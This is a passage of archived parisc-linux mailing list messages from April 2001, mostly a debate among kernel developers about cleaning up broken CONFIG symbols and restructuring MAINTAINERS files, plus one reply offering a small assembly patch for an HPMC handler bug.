require a minimum of human judgment.
-- 
		<a href="http://www.tuxedo.org/~esr/">Eric S. Raymond</a>

"This country, with its institutions, belongs to the people who
inhabit it. Whenever they shall grow weary of the existing government,
they can exercise their constitutional right of amending it or their
revolutionary right to dismember it or overthrow it."
	-- Abraham Lincoln, 4 April 1861




From - Thu Nov 08 21:17:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Woodhouse <dwmw2@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 22:29:00 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <7043.987802140@redhat.com>
References: <20010420172435.A21252@thyrsus.com>  <Pine.LNX.4.33.0104201440580.12186-100000@xanadu.home> <6817.987801548@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620061 18473 80.91.229.3 (22 Nov 2014 01:34:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:21 +0000 (UTC)
Cc: Nicolas Pitre <nico@cam.org>,
	Tom Rini <trini@kernel.crashing.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>,
	lkml <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: esr@thyrsus.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 15:30:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from passion.cambridge.redhat.com (dell-paw-3.cambridge.redhat.com [195.224.55.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FFFF482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 15:30:34 -0600 (MDT)
Original-Received: from dwmw2 (helo=redhat.com)
	by passion.cambridge.redhat.com with local-esmtp (Exim 3.16 #2)
	id 14qiSa-0001pc-00; Fri, 20 Apr 2001 22:29:00 +0100
X-Mailer: exmh version 2.3 01/15/2001 with nmh-1.0.4
X-Accept-Language: en_GB
In-Reply-To: <20010420172435.A21252@thyrsus.com> 
Original-Sender: David Woodhouse <dwmw2@redhat.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10866


esr@thyrsus.com said:
>  Not good enough.  In a year, the pile of false positives would get
> high enough to make it too hard to spot real bugs like the Aironet
> mismatch.  The whole  point of the cleanup is to be able to mechanize
> the consistency checks so they require a minimum of human judgment.

I'm not sure that's the case. The nature of the false positives is that 
they're generally _temporary_ aberrations, caused by the loss of 
synchronisation of various maintainers w.r.t submitting patches to Linus.

I'd be very surprised if the number of false positives isn't fairly stable, 
with new ones being introduced at a similar rate to the rate at which old 
ones finally become correct. 

Might be interesting to check a few older kernels to see if this is true. 
Actually I might expect it to be roughly proportional to the number of 
separately-maintained bodies of code - so it'll grow over time, as the size 
of the Linux kernel grows. 

--
dwmw2






From - Thu Nov 08 21:17:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Eric S. Raymond" <esr@thyrsus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 17:35:14 -0400
Organization: Eric Conspiracy Secret Labs
Lines: 22
Approved: news@gmane.org
Message-ID: <20010420173514.A21392@thyrsus.com>
References: <20010420172435.A21252@thyrsus.com> <Pine.LNX.4.33.0104201440580.12186-100000@xanadu.home> <6817.987801548@redhat.com> <20010420172435.A21252@thyrsus.com> <7043.987802140@redhat.com>
Reply-To: esr@thyrsus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620061 18476 80.91.229.3 (22 Nov 2014 01:34:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:21 +0000 (UTC)
Cc: Nicolas Pitre <nico@cam.org>,
	Tom Rini <trini@kernel.crashing.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>,
	lkml <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: David Woodhouse <dwmw2@infradead.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 15:36:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from snark.thyrsus.com (snark.tuxedo.org [207.106.50.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id B39B4482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 15:36:07 -0600 (MDT)
Original-Received: (from esr@localhost)
	by snark.thyrsus.com (8.11.0/8.11.0) id f3KLZEn21420;
	Fri, 20 Apr 2001 17:35:14 -0400
Mail-Followup-To: "Eric S. Raymond" <esr@thyrsus.com>,
	David Woodhouse <dwmw2@infradead.org>, Nicolas Pitre <nico@cam.org>,
	Tom Rini <trini@kernel.crashing.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>,
	lkml <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <7043.987802140@redhat.com>; from dwmw2@infradead.org on Fri, Apr 20, 2001 at 10:29:00PM +0100
X-Eric-Conspiracy: There is no conspiracy
Xref: news.gmane.org gmane.linux.ports.parisc:10867

David Woodhouse <dwmw2@infradead.org>:
> I'd be very surprised if the number of false positives isn't fairly stable, 
> with new ones being introduced at a similar rate to the rate at which old 
> ones finally become correct. 

Even supposing that's so, a 36% rate of broken symbols is way too high. 
It argues that we need to do a thorough housecleaning at least once in
order to get back to an acceptably low stable rate.
-- 
		<a href="http://www.tuxedo.org/~esr/">Eric S. Raymond</a>

The same applies for other kinds of long-lasting low-level pain. [...]
The body's response to being jabbed, pierced, and cut is to produce
endorphins. [...]  So here's my programme for breaking that cycle of
dependency on Windows: get left arm tattooed with dragon motif, buy a
crate of Jamaican Hot! Pepper Sauce, get nipples pierced.  With any
luck that will produce enough endorphins to make Windows completely
redundant, and I can then upgrade to Linux and get on with things.
	-- Pieter Hintjens




From - Thu Nov 08 21:17:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Woodhouse <dwmw2@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 22:39:24 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <7261.987802764@redhat.com>
References: <20010420173514.A21392@thyrsus.com>  <20010420172435.A21252@thyrsus.com> <Pine.LNX.4.33.0104201440580.12186-100000@xanadu.home> <6817.987801548@redhat.com> <20010420172435.A21252@thyrsus.com> <7043.987802140@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620061 18477 80.91.229.3 (22 Nov 2014 01:34:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:21 +0000 (UTC)
Cc: Nicolas Pitre <nico@cam.org>,
	Tom Rini <trini@kernel.crashing.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>,
	lkml <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: esr@thyrsus.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 15:40:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from passion.cambridge.redhat.com (dell-paw-3.cambridge.redhat.com [195.224.55.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35450482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 15:40:48 -0600 (MDT)
Original-Received: from dwmw2 (helo=redhat.com)
	by passion.cambridge.redhat.com with local-esmtp (Exim 3.16 #2)
	id 14qice-0001t8-00; Fri, 20 Apr 2001 22:39:24 +0100
X-Mailer: exmh version 2.3 01/15/2001 with nmh-1.0.4
X-Accept-Language: en_GB
In-Reply-To: <20010420173514.A21392@thyrsus.com> 
Original-Sender: David Woodhouse <dwmw2@redhat.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10868


esr@thyrsus.com said:
>  Even supposing that's so, a 36% rate of broken symbols is way too
> high.  It argues that we need to do a thorough housecleaning at least
> once in order to get back to an acceptably low stable rate.

Accepted. Can we let the 2.4 "angry penguin"-enforced stabilising period
finish, and give the arch and subsystem maintainers a chance to finally
brave the wrath of Linus and submit their patches, before we attempt do to
it though?

--
dwmw2






From - Thu Nov 08 21:17:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic using cpio from cdrom to disk.
Date: Fri, 20 Apr 2001 15:50:16 -0600 (MDT)
Lines: 49
Approved: news@gmane.org
Message-ID: <200104202150.PAA17555@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620061 18479 80.91.229.3 (22 Nov 2014 01:34:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 15:50:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id B50DA482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Apr 2001 15:50:17 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP id F3C8611FA
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Apr 2001 17:50:16 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id PAA17555
	for parisc-linux@lists.parisc-linux.org; Fri, 20 Apr 2001 15:50:16 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:10869

> Unexpected Interruption!: Code=0 regs=1027a080 (Addr=00000000)

Oops. It looks like you are getting an HPMC, however, when I recently
changed the interruption handlers to use shadow registers rather than
temporary control registers, I changed the convention for passing in
the trap "code". It looks like I missed changing the appropriate
code in the hpmc handler, so code got passed as 0, instead of
transferring the real hpmc trap data from pim, it reported what
was in the ipr's at the time the Q bit was last turned off.

> Like Ryans crash, PSW has only the Q bit set - data translation is
> turned off.  I guess that means the IAOQ values are real addresses, so I
> added 0x10000000 before looking them up in System.map.  In my case, it
> died on the "rsm 8,r0" under os_hpmc_5 in arch/parisc/kernel/hpmc.S.

It didn't die there. The Q bit was turned off there, so that was the
last place that the ipr's (iasq/iaoq/ipsw etc) tracked what was going
on. In fact the hpmc handler worked properly with the exception of
passing in a "1" for code, so you got some output. If the hpmc handler
hadn't worked, you would not have gotten anything.

Try applying the following patch to hpmc.S and you should get a little
more useful output:

--- hpmc.S.old	Fri Apr 20 15:22:02 2001
+++ hpmc.S	Fri Apr 20 15:24:13 2001
@@ -264,8 +264,7 @@ os_hpmc_5:
 	tovirt_r1 %r30      /* make sp virtual */
 
 	rsm 8,%r0           /* Clear Q bit */
-	ldi     1,%r1
-	mtctl   %r1,%cr29   /* Set trap code to "1" for HPMC */
+	ldi     1,%r8       /* Set trap code to "1" for HPMC */
 	mtctl   %r0,%cr30   /* Force interruptions to use hpmc stack */
 	ldil    L%PA(intr_save), %r1
 	ldo     R%PA(intr_save)(%r1), %r1

Let me know if the patch fixes the hpmc handler bug.

Note, your real problem is that you got an hpmc. Also note that the
hpmc handler only reports the hpmc pim information that is common to
all machines. There is a lot of machine specific hpmc information that
you can get once you reboot and type "ser pim 0 hpmc" at the boot
console prompt. Of course, decoding it can be difficult.

John




From - Thu Nov 08 21:17:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 23:53:44 +0100 (BST)
Lines: 8
Approved: news@gmane.org
Message-ID: <E14qjmd-0002QD-00@the-village.bc.nu>
References: <20010420173514.A21392@thyrsus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620062 18482 80.91.229.3 (22 Nov 2014 01:34:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:22 +0000 (UTC)
Cc: dwmw2@infradead.org (David Woodhouse),
	nico@cam.org (Nicolas Pitre), trini@kernel.crashing.org (Tom Rini),
	alan@lxorguk.ukuu.org.uk (Alan Cox),
	acahalan@cs.uml.edu (Albert D. Cahalan),
	willy@ldl.fc.hp.com (Matthew Wilcox),
	james.rich@m.cc.utah.edu (james rich),
	linux-kernel@vger.kernel.org (lkml), parisc-linux@parisc-linux.org
To: esr@thyrsus.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 17:07:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43255482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 17:07:57 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14qjmd-0002QD-00; Fri, 20 Apr 2001 23:53:48 +0100
In-Reply-To: <20010420173514.A21392@thyrsus.com> from "Eric S. Raymond" at Apr 20, 2001 05:35:14 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10870

> Even supposing that's so, a 36% rate of broken symbols is way too high. 
> It argues that we need to do a thorough housecleaning at least once in
> order to get back to an acceptably low stable rate.

Many of your 'broken' symbols arent. We have no idea what the real amount is




From - Thu Nov 08 21:17:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Eric S. Raymond" <esr@thyrsus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 20:24:53 -0400
Organization: Eric Conspiracy Secret Labs
Lines: 22
Approved: news@gmane.org
Message-ID: <20010420202453.B21392@thyrsus.com>
References: <20010420173514.A21392@thyrsus.com> <20010420172435.A21252@thyrsus.com> <Pine.LNX.4.33.0104201440580.12186-100000@xanadu.home> <6817.987801548@redhat.com> <20010420172435.A21252@thyrsus.com> <7043.987802140@redhat.com> <20010420173514.A21392@thyrsus.com> <7261.987802764@redhat.com>
Reply-To: esr@thyrsus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620062 18483 80.91.229.3 (22 Nov 2014 01:34:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:22 +0000 (UTC)
Cc: Nicolas Pitre <nico@cam.org>,
	Tom Rini <trini@kernel.crashing.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>,
	lkml <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: David Woodhouse <dwmw2@infradead.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 18:25:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from snark.thyrsus.com (snark.tuxedo.org [207.106.50.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id B590D482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 18:25:27 -0600 (MDT)
Original-Received: (from esr@localhost)
	by snark.thyrsus.com (8.11.0/8.11.0) id f3L0OrC22529;
	Fri, 20 Apr 2001 20:24:53 -0400
Mail-Followup-To: "Eric S. Raymond" <esr@thyrsus.com>,
	David Woodhouse <dwmw2@infradead.org>, Nicolas Pitre <nico@cam.org>,
	Tom Rini <trini@kernel.crashing.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>,
	lkml <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <7261.987802764@redhat.com>; from dwmw2@infradead.org on Fri, Apr 20, 2001 at 10:39:24PM +0100
X-Eric-Conspiracy: There is no conspiracy
Xref: news.gmane.org gmane.linux.ports.parisc:10871

David Woodhouse <dwmw2@infradead.org>:
> esr@thyrsus.com said:
> >  Even supposing that's so, a 36% rate of broken symbols is way too
> > high.  It argues that we need to do a thorough housecleaning at least
> > once in order to get back to an acceptably low stable rate.
> 
> Accepted. Can we let the 2.4 "angry penguin"-enforced stabilising period
> finish, and give the arch and subsystem maintainers a chance to finally
> brave the wrath of Linus and submit their patches, before we attempt do to
> it though?

I guess so.  We don't particularly have a choice, do we? :-)
-- 
		<a href="http://www.tuxedo.org/~esr/">Eric S. Raymond</a>

"Government is not reason, it is not eloquence, it is force; like fire, a
troublesome servant and a fearful master. Never for a moment should it be left
to irresponsible action."
	-- George Washington, in a speech of January 7, 1790




From - Thu Nov 08 21:17:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Eric S. Raymond" <esr@thyrsus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 20:37:00 -0400
Organization: Eric Conspiracy Secret Labs
Lines: 25
Approved: news@gmane.org
Message-ID: <20010420203700.E21392@thyrsus.com>
References: <20010420173514.A21392@thyrsus.com> <E14qjmd-0002QD-00@the-village.bc.nu>
Reply-To: esr@thyrsus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620062 18484 80.91.229.3 (22 Nov 2014 01:34:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:22 +0000 (UTC)
Cc: David Woodhouse <dwmw2@infradead.org>,
	Nicolas Pitre <nico@cam.org>, Tom Rini <trini@kernel.crashing.org>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>,
	lkml <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 18:37:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from snark.thyrsus.com (snark.tuxedo.org [207.106.50.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id D54C1482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 18:37:56 -0600 (MDT)
Original-Received: (from esr@localhost)
	by snark.thyrsus.com (8.11.0/8.11.0) id f3L0b0G22617;
	Fri, 20 Apr 2001 20:37:00 -0400
Mail-Followup-To: "Eric S. Raymond" <esr@thyrsus.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	David Woodhouse <dwmw2@infradead.org>, Nicolas Pitre <nico@cam.org>,
	Tom Rini <trini@kernel.crashing.org>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>,
	lkml <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E14qjmd-0002QD-00@the-village.bc.nu>; from alan@lxorguk.ukuu.org.uk on Fri, Apr 20, 2001 at 11:53:44PM +0100
X-Eric-Conspiracy: There is no conspiracy
Xref: news.gmane.org gmane.linux.ports.parisc:10872

Alan Cox <alan@lxorguk.ukuu.org.uk>:
> > Even supposing that's so, a 36% rate of broken symbols is way too high. 
> > It argues that we need to do a thorough housecleaning at least once in
> > order to get back to an acceptably low stable rate.
> 
> Many of your 'broken' symbols arent. We have no idea what the real amount is

If it can't be mechanically verified that the symbol has a correct reference 
pattern within the tree, then it's broken.  That's a definition.

The fact that it might become un-broken someday, by somebody's
intention to merge in future code, is interesting but irrelevant to
the fact that symbols broken in present time *mask bugs* in present time.

I'm not being a compulsive neatnik -- that wouldn't be worth my time.  What I'm
trying to do is reduce the number of crevices in which bugs can hide.
-- 
		<a href="http://www.tuxedo.org/~esr/">Eric S. Raymond</a>

This would be the best of all possible worlds, if there were
no religion in it.
	-- John Adams, in a letter to Thomas Jefferson.




From - Thu Nov 08 21:17:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Eric S. Raymond" <esr@thyrsus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Proposal for better attribution structure
Date: Fri, 20 Apr 2001 20:52:46 -0400
Organization: Eric Conspiracy Secret Labs
Lines: 63
Approved: news@gmane.org
Message-ID: <20010420205246.A22693@thyrsus.com>
References: <20010420195004.A5510@flint.arm.linux.org.uk> <200104202123.f3KLNWSm031572@webber.adilger.int>
Reply-To: esr@thyrsus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620063 18486 80.91.229.3 (22 Nov 2014 01:34:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:23 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
To: Andreas Dilger <adilger@turbolinux.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 18:53:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from snark.thyrsus.com (snark.tuxedo.org [207.106.50.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id B74A7482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 18:53:48 -0600 (MDT)
Original-Received: (from esr@localhost)
	by snark.thyrsus.com (8.11.0/8.11.0) id f3L0qkA22748;
	Fri, 20 Apr 2001 20:52:46 -0400
Mail-Followup-To: "Eric S. Raymond" <esr@thyrsus.com>,
	Andreas Dilger <adilger@turbolinux.com>,
	Russell King <rmk@arm.linux.org.uk>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200104202123.f3KLNWSm031572@webber.adilger.int>; from adilger@turbolinux.com on Fri, Apr 20, 2001 at 03:23:32PM -0600
X-Eric-Conspiracy: There is no conspiracy
Xref: news.gmane.org gmane.linux.ports.parisc:10873

Andreas Dilger <adilger@turbolinux.com>:
> One of the issues for contacting each MAINTAINER is that this information
> is out-of-line from the actual kernel tree.  The other is that the
> description of what a maintainer is actually controlling is somewhat
> vague.

I strongly agree.  I first tripped over this problem when I was trying
to identify the responsible parties for [Cc]onfig.in files.  It's
biting me again now that I'm trying to clean up the CONFIG_ space.
It's one that's going to cause grief for anybody trying to do *global*
work on the kernel, stuff that crosses boundaries between maintainer
jurisdictions.  
 
> How about the following:
> - each directory has a MAINTAINERS file which lists parties with a
>   vested interest in files in that directory (format is mostly the
>   same as current)
> - subdirectories which don't have a MAINTAINERS file use the MAINTAINERS
>   file of the parent (or grandparent) directory
> - each maintainer entry explicitly lists each file/directory that this
>   person is interested in, maybe "F: {file | directory} ...".
> 
> I'm sure Eric can come up with a simple program to parse the MAINTAINER
> file/tree.  If the program takes a kernel-tree relative filename and
> spit out the name/email of the relevant maintainer (subsystem and port
> specific mailing lists should also be included), that would make the 
> job of finding out who to send patches to a whole lot easier.

The spirit of this proposal is, IMO, excellent.  I like the idea that if
maintainer information for a particular piece of the hierarchy doesn't
exist, you float up to the next higher level.  Search always ends at
the root MAINTAINERS file.

And I could indeed write a program such as Andreas describes, and would
be most willing to do so.

I have one objection, however.  I think the maintainers information
should normally be inline of the file in question, so there won't
be a need for an explicit F: link that could become invalid.  So I
think the search order should look like this:

	1. Look for maintainer markup in the file itself.
	2. Then look for a NAINTAINERS file in the current directory.
	3. Then look upwards for MAINTAINERS files in enclosing directories.

> My one gripe about the MAINTAINERS file is that it still lists Remy
> Card as EXT2 maintainer, so we would probably need to do a find on
> the whole kernel tree, email each address a list of files that they
> "maintain" and wait until they complain, agree, or time out.  Once
> the database is up-to-date, it simplifies the job of keeping maintainers
> (and other interested parties) in the loop.

I have until 6 May at least to work on this, if there is consensus that it's
a good idea.
-- 
		<a href="http://www.tuxedo.org/~esr/">Eric S. Raymond</a>

Where rights secured by the Constitution are involved, there can be no
rule making or legislation which would abrogate them.
        -- Miranda vs. Arizona, 384 US 436 p. 491




From - Thu Nov 08 21:17:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom Leete <tleete@mountain.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone 
 paying attention?
Date: Fri, 20 Apr 2001 23:08:09 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <3AE0F999.BA288768@mountain.net>
References: <20010420085148.V13403@opus.bloom.county> <Pine.LNX.4.33.0104201206250.12186-100000@xanadu.home> <20010420125005.B8086@thyrsus.com> <20010420200859.B5510@flint.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620063 18492 80.91.229.3 (22 Nov 2014 01:34:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:23 +0000 (UTC)
Cc: lkml <linux-kernel@vger.kernel.org>,
	parisc-linux@parisc-linux.org
To: Russell King <rmk@arm.linux.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 21:09:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from riker.mountain.net (smtp.mountain.net [198.77.1.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C0FC482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 21:09:08 -0600 (MDT)
Original-Received: from mountain.net ([198.77.55.182]) by riker.mountain.net
          (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35)
          with ESMTP id net; Fri, 20 Apr 2001 23:07:00 -0400
Original-Sender: tleete@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.3 i486)
